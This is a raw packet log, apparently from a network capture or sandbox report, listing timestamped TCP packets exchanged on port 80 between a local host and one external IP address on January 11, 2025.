Jan 11, 2025 04:10:30.598064899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.598115921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.598123074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.598159075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.598212004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.607790947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.613910913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.613966942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.614047050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.626977921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.627134085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.627168894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.627194881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.627206087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.627255917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.630177975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.642910004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.643408060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.643455982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.643467903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.643505096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673046112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673079014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673089027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673160076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673166990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673171997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673183918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673203945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673239946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673365116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673403978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673432112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673443079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673481941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673623085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673634052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673645020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673674107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.673767090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673779011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.673851013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.674035072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.674045086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.674082041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.702617884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702641964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702653885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702680111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.702697992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.702810049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702821970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702877045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.702897072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702907085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702930927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702953100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.702980995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.702991962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703032017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703115940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703157902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703166962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703200102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703241110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703279018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703291893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703327894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703370094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703501940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703540087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703547001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703557968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703596115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703687906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703700066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703737974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.703877926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703931093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703943014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.703969002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704066038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704077005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704087973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704098940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704113007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704123020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704286098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704298019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704309940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704323053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704350948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704758883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704771042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704782963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704823971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704859018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.704899073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.704963923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705013037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705024004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705085039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705110073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705121040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705153942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705388069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705399990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705411911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705432892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705450058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705528975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705538988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705579042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705590963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705590963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705624104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.705729961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705741882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.705781937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706053019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706110954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706123114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706157923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706338882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706373930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706387043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706415892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706451893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706459045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706487894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706525087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706554890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706589937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706623077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706629992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.706655979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.706698895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707138062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707153082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707165956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707189083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707289934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707302094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707319021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707334042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707335949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707365036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707509041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707520008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707530975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707542896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707545042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707555056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.707573891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.707608938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708076954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708089113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708101034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708127022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708240032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708250999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708262920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708273888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708280087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708292007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708381891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708394051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708405018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708415985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708424091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708426952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.708451986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.708477974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.709047079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709059000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709070921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709105015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.709187984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709199905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709211111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709223032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709227085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.709263086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.709333897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.709387064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.715214968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.735166073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735234022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735263109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735295057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.735306978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735357046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.735358953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735387087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.735424995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.765836000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.765878916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.765897036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.765919924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.765929937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.765966892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.766057968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766068935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766081095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766093969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766107082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.766133070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.766243935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766256094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766268015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766279936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766290903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766294956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.766316891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.766417027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766450882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.766459942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.794789076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794806004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794820070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794842005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794842958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.794878006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.794917107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794929981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794944048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.794955969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.794977903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795116901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795128107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795136929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795149088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795156956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795159101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795171022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795181990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795181990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795228958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795414925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795427084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795439005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795449018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795450926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795463085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795471907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795475006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795504093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795664072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795717001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795797110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795809031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795819998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795830965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795840979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795842886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795852900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795864105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795871973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795874119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795887947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.795897007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.795929909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796253920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796264887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796278000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796288967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796288967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796300888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796314001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796318054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796324968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796336889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796359062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796375036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796715021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796726942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796736956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796747923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796752930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796761036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796768904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796771049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796778917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796792984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.796804905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796822071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.796988964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.797019958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.797028065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.797054052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.797092915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.799814939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.799848080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.799897909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.799901009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.799931049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.799964905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.799973011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.799998045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800033092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800048113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800065041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800102949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800116062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800148964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800183058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800195932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800216913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800260067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800390005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800421953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800441027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800456047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800472975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800513029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800524950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800556898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800596952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800600052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800652981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800687075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800697088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800719976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800750971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800759077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800786018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800818920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800828934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800852060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800884962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800894976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800918102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800950050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.800959110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.800983906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801016092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801023006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.801048994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801093102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801107883 CET	49730	80	192.168.2.4	193.143.1.205
